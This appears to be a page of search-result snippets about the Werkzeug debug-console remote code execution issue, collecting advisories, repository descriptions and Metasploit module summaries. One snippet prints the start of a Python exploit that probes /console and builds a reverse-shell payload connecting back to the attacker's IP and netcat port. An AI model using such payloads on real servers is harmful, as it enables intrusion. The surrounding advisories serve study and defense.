June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone. The documentation states the following: ...

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

May 5, 2024 - The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact wi...

December 7, 2024 - However, during development and debugging, it can expose sensitive functionalities that attackers might exploit, especially if the application is running in a non-production environment.

Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.

python exploit for werkzeug debug shell command execution - Fare9/PyWerkzeug-Debug-Command-Execution

December 4, 2022 - This module will exploit the Werkzeug debug console to put down a Python shell. This debugger "must never be used on production machines" but sometimes slips passed testing.

This means that this exploit will work even if the debugger PIN-authentication is locked. HackTheBox had a challenge called "Agile" that required this vulnerability to be exploited in order to gain an initial foothold. As a result there are many walkthroughs available online that explain how a valid PIN can be generated using the algorithm in the Werkzeug source code along with information about the environment.

Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-conso...

2 days ago - However, if the HTTP connection ... GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode....

Collection of different exploits. Contribute to am0nsec/exploit development by creating an account on GitHub.

February 21, 2025 - The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and ...

This repository contains an advanced Python 3 script to exploit a Remote Code Execution (RCE) vulnerability in the Werkzeug debugger (GHSA-2g68-c3qc-8985).

August 17, 2015 - Information Security Services, News, Files, Tools, Exploits, Advisories, and Whitepapers

February 18, 2020 - A publicly exposed debugger will subject the machine to remote code execution. Once attackers can execute arbitrary Python code on the server, she can directly leak all the sensitive data stored on the server.

This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

August 18, 2015 - ## # This module requires Metasploit: ... 'Werkzeug Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell.

This is a security helper to make it less likely for the debugger to be exploited if you forget to disable it when deploying to production. The PIN based authentication is enabled by default. The first time a console is opened, a dialog will prompt for a PIN that is printed to the command line.

January 28, 2026 - The debugger component in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under specific circumstances. This requires the attacker to trick the developer into interacting with a domain and subdomain ...

February 21, 2025 - The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and ...